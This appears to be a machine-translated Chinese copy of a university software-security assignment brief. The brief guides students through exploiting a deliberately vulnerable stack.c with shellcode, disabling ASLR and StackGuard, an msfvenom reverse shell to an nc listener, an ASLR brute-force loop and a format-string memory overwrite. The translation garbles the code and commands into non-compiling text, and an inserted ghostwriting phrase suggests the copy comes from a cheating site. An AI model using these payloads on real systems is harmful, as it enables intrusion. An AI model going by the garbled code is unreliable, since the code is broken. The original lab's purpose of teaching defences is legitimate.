FIT3173 软件安全课业-1 (S1 2024)
总分 100
课业
1 概述
本课业的主要学习⽬标是为您提供利⽤缓冲区溢出漏洞和格式字符串问题的第⼀⼿经验。此外,它还
旨在加深您对操作系统对策如何应对这些安全挑战的理解。本课业中的所有任务都可以在实验室中使
⽤的 Ubuntu VM 上完成。请参阅第2节⽤于提交注释。
2 提交
您需要提交⼀份实验室报告(⼀个 PDF ⽂件)来描述您所做的事情以及观察到的情况截图必要时;您
还需要对有趣或令⼈惊讶的观察结果提供解释或代码。在您的报告中,您需要回答本⼿册中列出的所
有问题。请⽤最多 200 个单词回答每个问题。将您的报告排版为 .pdf 格式(确保可以使⽤ Adob e
Reader 打开)并将其命名为以下格式:[你的名字]-[学号]-FIT3173-课业,例如,
HarryPotter-12345678-FIT3173-Assignment.pdf。
如果需要,所有源代码都应嵌⼊到您的报告中。此外,如果需要演⽰视频,您应该录制带有语⾳解
释的屏幕演⽰,并将视频上传到您的 Monash Google Drive 或任何允许您共享视频的在线服务。您的
报告中应根据需要提及视频的共享 URL。您可以使⽤这个免费⼯具制作视频:https://monashpanopto.aarnet.edu.au/;其他⼯具,例如 Zoom,也很好。然后,请将 PDF ⽂件上传到 Moodle。
重要提⽰和处罚:
· 学⽣有责任确保提交的视频⽂件可以在标准Windows 计算机上打开(⽆需专⻔软件),并且视
频中显⽰的图像和⽂本易于理解/可读(英⽂)。如果视频⽂件⽆法打开,您将收到零分。制作
完成后草稿提交 (前完成),我们建议您下载提交的⽂件并检查它是否正确打开和运⾏。⼀旦
您完成提交,您将 不是能够修改它。
· 提交的视频的⼀部分(⻆落)必须始终清晰地显⽰您的脸部。如果情况并⾮如此,可能会受到
处罚。
· 逾期提交每天扣10 分。例如,如果您迟到 2 天零 1 ⼩时提交,则会扣 30 分。迟到超过 7 天的
提交将获得零分。
· 如果您需要延期或特殊考虑,请参阅https://www.monash.edu/students/admin/assessments/
extensions-special-consideration。任何教学团队成员均不得给予您延期或特殊考虑,因此请不要
就此事与教学团队成员联系。请遵循上述链接中的指南。
· 录制视频的最⼤允许持续时间为15 分钟。因此,只会标记您提交的视频的前 15:00 分钟。任何
超出的视频分量都将被忽略。
1
· 如果您的设备没有摄像头(或者由于某种原因您⽆法使⽤您的设备),您可以从 Monash
Connect 或 Library 借⽤设备。您有责任为此提前计划。Monash Connect 或图书馆在特定时间
点没有可供借⽤的设备并不是有效的借⼝。
· 您可以在不同时间创建多个视频部分,并在最后合并并提交单个视频。确保最终视频清晰易
懂。
· 如果任何任务需要安装新软件,您可以在录制视频之前进⾏安装。您⽆需在视频中演⽰软件安
装。
· 您可以提前进⾏(在线)研究、代 写FIT3173做笔记并在视频录制过程中使⽤它们。您也可以提前准备漏洞
利⽤脚本。但是您不能简单地复制粘贴命令来执⾏任务⽽⽆需任何解释。完成任务时的解释(代
码的作⽤)尤其重要。
· 对剽窃和学术诚信违规⾏为零容忍:如果发现作弊⾏为,将受到处罚,例如,该单元的成绩为
零。演⽰视频还⽤于检测/避免抄袭。⼤学政策可以在以下⽹址找到:https://
www.monash.edu/students/academic/policies/academic-integrity。
3 缓冲区溢出漏洞 [65 分]
您将获得⼀个故意包含缓冲区溢出漏洞的程序。您的⽬标是设计⼀种策略来利⽤此漏洞并向攻击者发
送远程访问。此外,除了执⾏攻击之外,还将指导您检查操作系统中实施的旨在阻⽌缓冲区溢出漏洞
的各种保护⽅案。您的任务包括评估这些对策的有效性并为其成功或失败提供解释。
3.1 初始设置
您可以使⽤我们预先构建的任务来执⾏任务乌班图虚拟机。乌班图和其他 Linux 发⾏版已经实现了多
种安全机制,使缓冲区溢出攻击变得困难。为了简化我们的攻击,我们需要⾸先禁⽤它们。
地址空间随机化。乌班图以及其他⼏个基于 Linux 的系统使⽤地址空间随机化来随机化堆和堆栈的起
始地址。这使得猜测确切的地址变得困难;猜测地址是缓冲区溢出攻击的关键步骤之⼀。在这⼀部分
中,我们使⽤以下命令禁⽤这些功能:
$ sudo sysctl -w kernel.randomize_va_space=0
StackGuard 保护⽅案。GCC 编译器实现了⼀种称为“堆栈防护”的安全机制来防⽌缓冲区溢出。在存
在这种保护的情况下,缓冲区溢出将不起作⽤。如果您使⽤以下命令编译程序,则可以禁⽤此保护-
fno 堆栈保护器转变。例如,要在禁⽤堆栈保护的情况下编译程序 example.c,可以使⽤以下命令:
$ gcc -m32 -fno-stack-protector example.c
2
不可执⾏堆栈。乌班图过去允许可执⾏堆栈,但现在已经改变:程序(和共享库)的⼆进制映像必须
声明它们是否需要可执⾏堆栈,即它们需要在程序头中标记⼀个字段。内核或动态链接器使⽤此标记
来决定是否使该正在运⾏的程序的堆栈可执⾏或不可执⾏。该标记是由最新版本⾃动完成的海湾合作
委员会,默认情况下,堆栈被设置为不可执⾏。要改变这⼀点,请在编译程序时使⽤以下选项:
对于可执⾏堆栈:
$ gcc -m32 -z execstack -o test test.c
对于不可执⾏堆栈: $ gcc -m32 -z
noexecstack -o 测试 test.c
3.2 热⾝:Shellcode 练习
在开始攻击之前,我们希望您使⽤ shellcode ⽰例进⾏练习。shellcode 是启动 shell 的代码。它是由
恶意⽤⼾/攻击者创建的精⼼设计的指令列表,以便⼀旦代码被注⼊到易受攻击的程序中就可以执⾏。
因此,必须将其加载到内存中,以便我们可以强制有漏洞的程序跳转到它。考虑以下程序:
包含 <stdio.h>
int main() {
字符名称[2];
名称[0] = ''/bin/sh'';
名称[1] = NULL;
execve(名称[0],名称,NULL);
}
我们使⽤的 shellcode 是上述程序的汇编版本。以下程序向您展⽰如何通过执⾏存储在缓冲区中的
shellcode 来启动 shell。
练习任务:请编译并运⾏以下代码,看看是否调⽤了shell。
/ call_shellcode.c /
/创建包含启动 shell 代码的⽂件的程序*/
包含 <stdlib.h>
包含 <stdio.h>
包含<字符串.h>
const 字符代码[] =
“\x31\xc0”
“\x50”
"\x68""//sh"
“\x68”“/bin”
“\x89\xe3”
“\x50”
/*
/*
/*
/*
/*
/*
1号线:
2号线:
第 3 ⾏:
4号线:
5号线:
6号线:
克索尔
普什尔
普什尔
普什尔
莫维尔
普什尔
%eax,%eax
%eax
$0x68732f2f
$0x6e69622f
%esp,%ebx
%eax
- /
- /
- /
- /
- /
- /
3
“\x53”
“\x89\xe1”
“\x99”
“\xb0\x0b”
“\xcd\x80”
/*
/*
/*
/* 第 10 ⾏:movb /*
第 11 ⾏:int
7号线:
8号线:
9号线:
普什尔
莫维尔
CDQ
%ebx
%esp,%ecx - /
- /
- /
- /
- /
$0x0b,%al
$0x80
;
int main(int argc, char **argv) {
char buf[sizeof(代码)];
strcpy(buf, 代码);
((void()( ))buf)( );
}
请使⽤以下命令来编译代码(不要忘记执⾏堆栈选项):
$ gcc -m32 -z execstack -g -o call_shellcode call_shellcode.c
shellcode 存储在变量中代码在上⾯的程序中。这个 shellcode 中有⼏个地⽅值得⼀提。⾸先,第
三条指令将“//sh”⽽不是“/sh”压⼊堆栈。这是因为我们这⾥需要⼀个 32 位数字,⽽“/sh”只有
24 位。幸运的是,“//”等价于“/”,因此我们可以使⽤双斜杠符号。其次,在调⽤之前执⾏()系统
调⽤,我们需要存储 名称[0](字符串的地址),姓名 (数组的地址),以及⽆效的到%ebx、%ecx、
和 %edx分别寄存器。5号线⻔店名称[0]到 %EBX;8号线⻔店姓名到 %ecx;9号线套 %edx为零。还
有其他⽅法可以设置%埃迪克斯为零(例如,xorl %edx, %edx);唯⼀的那个 (cdq)这⾥使⽤的是⼀
个更短的指令:它将 EAX 寄存器中的值的符号(位 31)(此时为 0)复制到 EDX 寄存器中的每个位位
置,基本上设置 %埃迪克斯为0。三、系统调⽤ 执⾏()当我们设置 % 时被调⽤阿尔到11,然后执⾏“
整数 $0x80”。
3.3 易受攻击的程序
/ 堆栈.c /
/ 该程序存在缓冲区溢出漏洞。/ / 我们的任务就是利⽤这个漏洞 */
包含 <stdlib.h>
包含 <stdio.h>
包含<字符串.h>
int bof(char *str,int 学⽣ID) {
int 缓冲区⼤⼩;
整数a=12;
整数 b = 18;
bufSize = 12 + 学⽣ID%32;字符缓冲区
[bufSize];
strcpy(缓冲区,str);
4
返回1;
}
int main(int argc, char **argv[]) {
如果(参数 < 2){
printf("⽤法: %s
}
int 学⽣ID = ; //在此输⼊您的学⽣ ID bof(argv[1],studentID);
printf("正确返回\n"); 返回1;
}
您需要将您的学⽣ ID 输⼊到变量中学⽣卡。然后,编译上述有漏洞的程序并使其设置为rootuid。您可以通过将其编译到根帐⼾和chmod可执⾏⽂件4755(不要忘记包括执⾏堆栈和 -fno 堆栈保
护器关闭不可执⾏堆栈和 StackGuard 保护的选项):
$ 苏根
密码(输⼊您的密码)
gcc -m32 -g -o stack -z execstack -fno-stack-protector stack.c
chmod 4755 堆栈
# 出⼝
上述程序存在缓冲区溢出漏洞。它从⽤⼾控制的终端获取输⼊。
3.4 任务1:漏洞利⽤【35分】
此任务的⽬标是利⽤上述代码中的缓冲区溢出漏洞(堆栈.c) 并收到⼀个反向shell。您需要阅读附录
A.1 来研究如何创建反向 shell 代码。然后,您还需要研究如何模拟攻击者,该攻击者正在监听特定地
址/端⼝并等待 shell。我们建议您参阅附录 A.2 来了解此模拟。
您将需要使⽤ msfvenom ⽣成反向 shell 代码并创建有效负载。然后运⾏有漏洞的程序堆与您的有
效负载。如果您的漏洞利⽤正确实施,攻击者应该能够获得反向 shell。
你将会溢出缓冲区堆栈.c,它是在禁⽤堆栈防护保护的情况下编译的。
$./stack {有效负载} // 通过运⾏有漏洞的程序来发起攻击
如果攻击者成功获得shell,她的终端应该如下(假设她正在监听端⼝4444,和程序堆正在该地址运
⾏10.0.2.15)。
5
$$ nc -lvp 4444 // 监听端⼝ 4444 监听 [0.0.0.0] (family 0, port 4444) 来⾃
[10.0.2.15] 端⼝ 4444 [tcp/*] 的连接已接受
⼀旦攻击者获得了shell,就可以远程操作该程序当前所在的所有⽂件 堆运⾏。
Q1(35分):提供您的视频演⽰证据以⽀持和验证您已执⾏攻击并且攻击成功。您需要将视频
链接嵌⼊到您的报告中,以便教学团队可以查看和验证您的作品。在视频中,您需要演⽰以下
关键点:
· 当受害者执⾏易受攻击的程序时,发⽣缓冲区溢出,攻击者收到 shell堆。(如果攻击在
演⽰视频期间有效,则为 10 分)
· 调试程序堆研究函数中的返回内存地址和局部变量(在视频演⽰中突出显⽰它们)博夫
()。(调试演⽰和内存分析 15 分)
· 清楚地解释⽤于利⽤缓冲区的有效负载,即使⽤了多少个NOP以及为什么,如何选择返
回地址等..(演⽰视频中的解释 10 分)
请注意,提供不正确的学⽣ ID 将会导致此任务的 0 分。仅当您有⽀持内存地址分析的可靠解释时
才给予满分。
3.5 任务 2:地址随机化 [5 分]
现在,我们打开 Ubuntu 的地址随机化。我们运⾏在上述任务中开发的相同攻击。 可以拿个壳吗?如
果没有,问题出在哪⾥?地址随机化如何使您的攻击变得困难?您可以使⽤以下说明来打开地址随机
化:
$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
如果运⾏⼀次易受攻击的代码⽆法获得 root shell,那么多次运⾏它怎么样?你可以运⾏./堆在下
⾯的循环中,看看会发⽣什么。如果你的漏洞利⽤程序设计得当,⼀段时间后你应该能够获得root
shell。您可以修改您的漏洞利⽤程序以增加成功的可能性(即减少您必须等待的时间)。
$ sh -c "while [ 1 ]; do ./stack {PAYLOAD}; 完成;"
Q2(5分):按照上述步骤,回答重点问题。您应该简要描述您的观察和解释。另外,再次尝
试是否可以获取root shell。 【评分⽅案:截图2分,解释及解决⽅案3分】。
6
3.6 任务 3:堆栈防护 [20 分]
在执⾏此任务之前,请记住先关闭地址随机化,否则您将不知道哪种保护有助于实现保护。
在我们之前的任务中,我们在编译程序时禁⽤了GCC中的“Stack Guard”保护机制。在此任务
中,您可以考虑在 Stack Guard 存在的情况下重复上述任务。为此,您应该在不使⽤-fno-堆栈保护器'
选项。对于此任务,您将重新编译易受攻击的程序 stack.c,以使⽤ GCC 的堆栈防护,执⾏堆再次编
程,并报告你的观察结果。您可以报告您观察到的任何错误消息。
在 GCC 4.3.3 及更⾼版本中,Stack Guard 默认启⽤。因此,您必须使⽤前⾯提到的开关禁⽤
Stack Guard。在早期版本中,它默认处于禁⽤状态。如果您使⽤较旧的 GCC 版本,则可能不必禁⽤
Stack Guard。
Q3 按照上述步骤进⾏操作,并报告您的观察结果。提供堆栈的屏幕截图并在屏幕截图中突出显
⽰ stackguard。[评分⽅案:截图2分,解释及解决⽅案3分](5分)
假设堆栈防护是⼀个静态值(您的学⽣ ID)与原始返回地址进⾏异或运算。例⼦:
22224444 (SID) XOR BFFFFFFB (RA) = 9DDDBBBF (堆栈保护)
Q4 修改 Q1 中的成功有效负载以绕过上述堆栈防护。对于此问题,您不必演⽰攻击。回答以下
⼏点。
· 计算Q1 中使⽤的有效负载的堆栈防护。(2分)
· 提供修改后的有效负载,该有效负载可以攻击具有上述堆栈防护保护的系统。
stackguard 的⻓度应该与您在 Q3 中找到的⻓度相同。如果⻓度⽐上⼀步计算的值⻓,可
以在末尾添加Fs来匹配⻓度。例如:9DDDBBBF FFFFFFFF(10 分)
· 解释有效负载如何使⽤上述有效负载绕过堆栈防护。(3分)
3.7 任务4:不可执⾏的堆栈[5分]
在执⾏此任务之前,请记住先关闭地址随机化,否则您将不知道哪种保护有助于实现保护。
在我们之前的任务中,我们有意使堆栈可执⾏。在此任务中,我们使⽤以下命令重新编译易受攻击
的程序不执⾏堆栈选项,并重复上述任务中的攻击。可以拿个壳吗?如果没有,问题出在哪⾥?这种
保护⽅案如何使您的攻击变得困难。您可以使⽤以下指令来打开不可执⾏堆栈保护。
gcc -o stack -fno-stack-protector -z noexecstack stack.c
需要注意的是,不可执⾏堆栈只是使得⽆法在堆栈上运⾏shellcode,但并不能防⽌缓冲区溢出攻
击,因为利⽤缓冲区溢出漏洞后还有其他⽅式可以运⾏恶意代码。
7
不可执⾏堆栈保护是否起作⽤取决于 CPU 和虚拟机的设置,因为这种保护取决于 CPU 提供的硬件
功能。
Q5(5分):按照上述步骤,回答亮点问题。您应该简要描述您的观察和解释。[评分⽅案:截
图2分,解释及解决⽅案3分]
4 格式字符串攻击 [20 分]
对于此任务,您需要使⽤我们提供的 C 程序中的格式字符串漏洞修改内存。该程序接受⽤⼾的 3 个输
⼊,并在最后输出⼀个秘密。与我们所做的实验任务不同,该程序不会打印堆栈的内容。您将必须使
⽤该程序中的附加输⼊来查看堆栈。
4.1 任务1:利⽤Format String漏洞修改内存(20分)
您的⽬标是利⽤格式字符串漏洞来更改缓冲区中秘密的字⺟。
如果攻击成功,修改后的秘密应该显⽰在屏幕上。每个学⽣应该对这个秘密进⾏不同的修改,
如下所⽰。例⼦:
22224444 模 27 = 15
您应该使⽤字⺟表中的第 15 个字符:O
8
Q6:您需要将您的演⽰视频上传到您的Monash Google Drive,并将其共享链接嵌⼊到您的报
告中,以便教学团队可以查看和验证您的作品。演⽰时分配了⽤于解释步骤的标记。
- 使⽤上述⽅法找到要更改的字符的 ASCII 值。如果计算不正确,完整的问题将被扣零分 。
(2 分)。 - 根据您的学号将密⽂的第⼀个字⺟更改为⼤写字⺟。例如:OIT3173(8 分)。
- 虽然第⼀个字⺟按照上⼀个问题进⾏了修改,但现在根据您的学号将密⽂的第四个字⺟更
改为⼩写字⺟。例如:OITo173 (10 分)。
提⽰:使⽤在线 ASCII 表找出要更改为的字⺟的⼗六进制表⽰形式。
请注意,您不得以任何⽅式更改程序代码。这样做会导致该问题的分数为零。
5 报告完成情况和演⽰质量 [15 分]
请在 PDF 报告中包含所有有效负载、stack.c ⽂件和视频 URL。只有报告完整且格式正确,才能获得
满分。分数分配给报告和视频中演⽰的质量和清晰度。
A 附录
A.1 反向创建 Shell
反向 shell 可以实现从⽬标计算机到攻击者计算机的连接。在这种情况下,攻击者的机器充当服务器。
它在端⼝上打开通信并等待传⼊ 连接。⽬标机器作为客⼾端连接到该侦听器,然后最终攻击者收到
shell。这些攻击很危险,因为它们为攻击者提供了⽬标计算机上的交互式 shell,允许攻击者操纵⽂件
系统/数据。
在本次课业中,我们使⽤毒液Metasploit 中的模块⽤于⽣成反向 shellcode。Metasploit 是⽤于探
索/测试计算机系统漏洞或侵⼊远程系统的最强⼤且⼴泛使⽤的⼯具之⼀。⾸先,通过打开终端并输⼊
以下命令来安装 Metasploit。请注意,该命令是⼀⾏命令,没有换⾏符。
卷曲 https://raw.githubusercontent.com/rapid7/metasploit-omnibus/ master/config/
templates/metasploit-framework-wrappers/ msfupdate.erb > msfinstall && chmod 755
msfinstall && ./msfinstall
查看毒液帮助,你可以使⽤msfvenom -h 。要⽣成反向 shell,可以使⽤以下命令。您应该等待⼏
秒钟才能获得反向 shellcode。
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.2.15 LPORT=4444 -fc
9
在哪⾥ -p是有效负载类型(在本例中,它⽤于 32 位 Linux 反向 shell ⼆进制⽂件),主机是您的虚拟
机的 IP 地址(假设您是攻击者),左端⼝是攻击者监听的端⼝,并且 -F 是⼀种格式(C在这种情况
下)。请注意,shellcode 不能包含 NULL 或空格,您可以使⽤ -b 标志删除这些坏字符,您还可以使
⽤编码(https://www.offectivesecurity.com/metasploit-unleashed/msfencode/)。
A.2 Netcat 监听器
在本次课业中,我们使⽤ Netcat 来模拟攻击者的侦听器。幸运的是,Ubuntu VM 中已经安装了
Netcat。这是⼀种多功能⼯具,被称为⿊客的瑞⼠军⼑。它最基本的功能是读写 TCP 和 UDP 端⼝。
因此,它使得Netcat可以作为客⼾端或服务器运⾏。要查看 Netcat 帮助,您可以输⼊数控-h在终端。
如果您想连接到端⼝ 80 上的⽹络服务器 (10.2.2.2),您可以输⼊
数控-nv 10.2.2.2 80
如果您希望计算机侦听端⼝ 80,您可以输⼊
数控-lvp 80
A.3 GNU 调试器
GNU 调试器数据库是⼀个⾮常强⼤的⼯具,在计算机科学领域⾮常有⽤,并且 可能对这项任务很有
⽤。⼀个基本的数据库⼯作流程从在调试器中加载可执⾏⽂件开始:
数据库可执⾏⽂件
然后您可以开始运⾏该问题:
$ run [可执⾏⽂件的参数]
(注意,这⾥我们改变了gdb的默认提⽰符(数据库)⾄ $)。
为了在特定⾏停⽌执⾏,请在发出“run”命令之前设置断点。当执⾏在那⼀⾏停⽌时,您可以逐
步执⾏(命令下⼀个和步)或继续(命令继续)直到下⼀个断点或程序终⽌。
$break ⾏号或函数名 $ run [arguments-to-theexecutable] $step # 分⽀到函数调⽤ $ next # 跳过
函数调⽤
$ continue # 执⾏直到下⼀个断点或程序终⽌
⼀旦执⾏停⽌,您会发现查看堆栈回溯和当前堆栈帧的布局很有⽤:
$ 回溯
$ 信息帧 0
$ 信息寄存器
您可以使⽤向上和向下命令在堆栈帧之间导航。要检查特定位置的内存,您可以使⽤x/FMT命令
10
$ x/16 $特别是
$ x/32i 0xdeadbeef
$ x/64s &buf
哪⾥的FMMT斜杠后⾯的后缀表⽰输出格式。其他有⽤的命令是拆卸 和信息符号。您可以通过以下⽅式
获取每个命令的简短描述
$ 帮助命令
此外,Neo 在以下位置留下了所有 gdb 命令的简明摘要:
http://vividmachines.com/gdbrefcard.pdf
您可能会发现转储崩溃程序的内存映像(“核⼼”)⾮常有帮助。内核捕获崩溃时的进程状态,提
供当时虚拟地址空间、堆栈帧等的快照。您可以使⽤ shell 命令激活核⼼转储:
% ulimit -c ⽆限
然后,崩溃的程序会在当前⽬录中留下⼀个⽂件 core,然后您可以将其与可执⾏⽂件⼀起交给调
试器:
gdb可执⾏核⼼
$ bt # 与回溯相同 $ up # 向上移动调⽤堆栈 $
if 1 # 与“信息帧 1”相同 $ ...
最后,这是进⼊第⼆个程序的⽅法酒吧由第⼀个程序启动富:
gdb -e foo -s bar # 加载可执⾏⽂件 foo 和 bar 的符号表 $ set follow-fork-mode child # 启
⽤跨程序调试 $ b bar:f # 程序 bar 中函数 f 处的断点
$ r # 运⾏ foo 并在 bar 中的 f 处中断